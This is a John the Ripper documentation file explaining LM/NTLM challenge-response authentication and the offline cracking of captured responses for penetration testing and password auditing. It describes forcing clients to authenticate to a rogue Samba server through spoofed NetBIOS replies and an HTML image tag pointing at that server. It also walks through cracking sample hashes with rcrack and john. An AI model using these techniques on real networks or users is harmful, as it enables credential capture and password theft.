144 lines
7.8 KiB
Plaintext
Executable File
144 lines
7.8 KiB
Plaintext
Executable File
LM/NTLM Challenge / Response Authentication
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JoMo-Kun (jmk at foofus dot net) ~ 2010
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Microsoft Windows-based systems employ a challenge-response authentication
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protocol as one of the mechanisms used to validate requests for remote file
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access. The configured/negotiated authentication type, or level, determines how
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the system will perform authentication attempts on behalf of users for either
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incoming or outbound requests. These requests may be due to a user initiating a
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logon session with a remote host or, in some cases, transparently by an
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application they are running. In many cases, these exchanges can be replayed,
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manipulated or captured for offline password cracking. The following text
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discusses the available tools within the John the Ripper "Jumbo" patch for
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performing offline password auditing of these specific captured challenge-
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response pairs.
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Why might these exchanges be of interest? A primary point of most penetration
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tests is to find avenues through which the assessor can gain unauthorized access
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to some resource. This often relies on the compromise of a system's local
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accounts or the exploitation of some service-level vulnerability. The ability to
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capture on-the-wire authentication exchanges and to crack the associated
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password adds another option to the mix. The fact that these exchanges can be
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cracked aids in demonstrating to clients why one authentication algorithm may be
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preferred to another.
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A given server is likely to use one of the following protocols for
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authentication challenge-response: LMv1, NTLMv1, LMv2 or NTLMv2. It should be
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noted that these protocols may use the LM and NTLM password hashes stored on a
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system, but they are not the same thing. For an excellent in-depth discussion of
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the protocols see the Davenport paper entitled "The NTLM Authentication Protocol
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and Security Support Provider" [1]. For the purposes of this discussion, the key
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item of note is that the LMv1 and NTLMv1 protocols consist of a only a single
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server challenge. This allows an attacker to force a client into authenticating
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using a specific challenge and then attack that response using precomputed
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Rainbow Tables.
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There are a variety of methods for capturing challenge-response pairs, including
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the use of tools such as MetaSploit and Ettercap. The author's preferred method
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is to use a modified version of Samba[2]. The provided patch sets the server's
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challenge to a fixed value (i.e. 0x1122334455667788) and logs all authentication
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attempts in a format suitable for use with John. The patch also includes a
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modification to the nmbd application. Nmbd is used to respond to broadcast
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requests for NetBIOS name/IP information. The modified service simply responds
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to all requests with its own IP address, often resulting in hosts unknowingly
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authenticating to the wrong system. Another common method of forcing systems to
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authenticate to the Samba server is through the use of HTML image source tags.
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For example, simply inserting the tag "<img src=file://192.168.1.10/logo.gif>"
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into a HTML message will cause some email client applications to automatically
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perform an authentication attempt. Other examples include the use of specialized
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desktop.ini files and many other mischievous tricks.
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It is also worth noting that these challenge/response protocols are not limited
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to the Microsoft File and Print Services. For example, Cisco's LEAP wireless
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security mechanism, EAP-PEAP and PPTP all utilize a MS-CHAP handshake, or
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modified variant. The NTLMv1 challenge/response set can be extracted from this
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exchange and subjected to a brute-force guessing attack. Further discussion on
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this subject is outside of the scope of this write-up, but would certainly
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reveal numerous additional uses.
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The LMv1 challenge-response mechanism suffers a number of technical limitations.
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As previously noted, only a server challenge is used. This means that if the
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challenge is set to a constant value, a given password will always result in
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the same client authentication response. This allows for the precomputation of
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password / LMv1 responses and their subsequent retrieval using tools such as
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RainbowCrack.
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To further exacerbate the issue, the LM hash used during the generation of the
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LMv1 response converts a password into (at most) two 7 character upper-case
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passwords. The LM hash is then split into three pieces prior to calculating the
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LMv1 response. This process greatly reduces the size of the Rainbow Tables which
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need to be calculated in order to break a given password. For example, the
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so-called "halflmchall" tables widely available on the Internet utilize only the
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first third of the LMv1 response to break the first 7 characters of the
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respective password. The netnlm.pl script discussed in this document can be used
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to attempt to break the remaining characters of the password and its original
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case-sensitive version. The following is an example of cracking a captured
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LMv1/NTLMv1 challenge/response set.
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Example LMv1/NTLMv1 Challenge/Response (.lc Format):
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user::WORKGROUP:5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:112233445566778
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LMv1 Response: 5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF
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NTLMv1 Response: A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE
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Server Challenge: 112233445566778
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RainbowCrack look-up of password's first 7 characters (upper-cased) using first
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third (8 bytes) of LMv1 response:
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% rcrack halflmchall/*.rt -f 5237496CFCBD3C0C
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Result: CRICKET
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First netntlm.pl Pass (Crack Remaining Characters):
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% netntlm.pl --file capture.lc --seed CRICKET
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Result: CRICKET88!
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Second netntlm.pl Pass (Determine Case Sensitive Password)[a]:
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% netntlm.pl --file capture.lc
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Result: Cricket88!
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[a] Note that the case-sensitive password will be shown about a third through
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the script's output following the text: "Performing NTLM case-sensitive crack
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for account".
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The following is an example of cracking a captured NTLMv1 challenge/response. If
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the LMv1 and NTLMv1 response hashes within a given client response are
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identical, it typically means one of two things: either the client machine is
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configured to send only a NTLMv1 response (e.g. LAN Manager Authentication Level
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Group Policy Object set to "Send NTLM response only"), or the user's password is
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greater than 14 characters. If the password is indeed over 14 characters in
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length, it is unlikely a suitable Rainbow Table set is available and brute-force
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guessing will be exhaustively time-consuming.
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Example NTLMv1 Challenge/Response (.lc Format):
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user::WORKGROUP:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:1122334455667788
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John Usage:
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% john -format:netntlm capture.lc
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The LMv2 and NTLMv2 challenge/response protocols both employ unique client
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challenges. This additional data effectively defeats the ability to precompute
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password/response pairs via Rainbow Tables. It should also be noted that
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despite its name, the LMv2 response is computed using a NTLM hash. This results
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in a much harder-to-crack response hash, as the password was not truncated to
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seven characters or upper-cased during the process.
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The use of NTLMv2 is now the default policy within Microsoft Windows Vista and
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Windows 7. Its use can be enforced for older versions via the LAN Manager
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Authentication Level Group Policy Object ("Send NTLMv2 response only" (level 3
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or higher)).
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Example LMv2 Challenge/Response (.lc Format):
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user::WORKGROUP:1122334455667788:6FAF764ECFDF1D1D9E7BA7B517190F3B:E15C1A679C7609CE
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John Usage:
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% john -format:netlmv2 capture.lc
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Example NTLMv2 Challenge/Response (.lc Format):
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user::ATS-W759420A:1122334455667788:02E12C3C2B2F5799D2C1A7661AE80491:0101000000000000B0736308F1C9CA01DABA9E3A11AFD91F0000000002001000310030002E0030002E0032002E0032000000000000000000
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John Usage:
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% john -format:netntlmv2 capture.lc
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[1] http://davenport.sourceforge.net/ntlm.html
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[2] http://www.foofus.net/jmk/smbchallenge.html
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